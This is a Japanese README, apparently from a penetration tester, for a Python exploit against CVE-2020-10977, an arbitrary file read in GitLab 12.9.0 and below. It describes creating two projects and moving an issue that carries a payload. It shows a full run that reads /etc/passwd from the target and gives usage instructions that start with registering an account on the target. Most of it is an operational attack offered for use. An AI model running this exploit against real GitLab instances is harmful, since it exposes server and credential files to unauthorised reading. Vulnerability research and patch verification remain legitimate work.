
GitLab 12.9.0 任意ファイル読み取り
対象 : 12.9.0 以下
テスト済み : GitLab 12.8.1
最近のエンゲージメントでターゲット上に GitLab インスタンスを発見しました。Exploit-DB で PoC を見つけましたが、それは LDAP 認証を使用しており、このケースでは LDAP が無効でした。そこで、Web GUI を使用して認証できるこの Python スクリプトを作成しました。元の PoC と同様に、2 つのプロジェクトを作成し、一方のプロジェクトに悪意のあるペイロードを含む Issue を作成し、その Issue を別のプロジェクトに移動して、ファイルの内容を自動的に読み取ります。
いくつかの機能を追加しました。スクリプトは読み取りたい絶対パスを尋ね、その内容を出力した後、別のパスを尋ねます。終了時にクリーンアップも行います。CTRL+C でスクリプトを終了すると、両方のプロジェクトが自動的に削除されます。
$ python3 cve_2020_10977.py http://localhost twh p4ssw0rd
----------------------------------
--- CVE-2020-10977 ---------------
--- GitLab Arbitrary File Read ---
--- 12.9.0 & Below ---------------
----------------------------------
[>] Found By : vakzz [ https://hackerone.com/reports/827052 ]
[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]
[+] Target : http://localhost
[+] Username : twh
[+] Password : p4ssw0rd
[+] Project Names : ProjectOne, ProjectTwo
[!] Trying to Login...
[+] Login Successful!
[!] Creating ProjectOne...
[+] ProjectOne Created Successfully!
[!] Creating ProjectTwo...
[+] ProjectTwo Created Successfully!
[>] Absolute Path to File : /etc/passwd
[!] Creating an Issue...
[+] Issue Created Successfully!
[!] Moving Issue...
[+] Issue Moved Successfully!
[+] File URL : http://localhost/twh/ProjectTwo/uploads/5f74b01d2b58e4a57ca55e1ac8778650/passwd
> /etc/passwd
----------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
.
.
.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
.
.
.
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
----------------------------------------
[>] Absolute Path to File : ^C
[-] Keyboard Interrupt
[!] Deleting ProjectOne...
[+] ProjectOne Successfully Deleted!
[!] Deleting ProjectTwo...
[+] ProjectTwo Successfully Deleted!
pip3 install requests bs4
対象の GitLab でアカウントを登録し、その認証情報をスクリプトで使用してください。
$ python3 cve_2020_10977.py -h
usage: cve_2020_10977.py [-h] url username password
positional arguments:
url Target URL with http(s)://
username GitLab Username
password GitLab Password
optional arguments:
-h, --help show this help message and exit
vakzz に感謝します。
KouroshRZ に感謝します。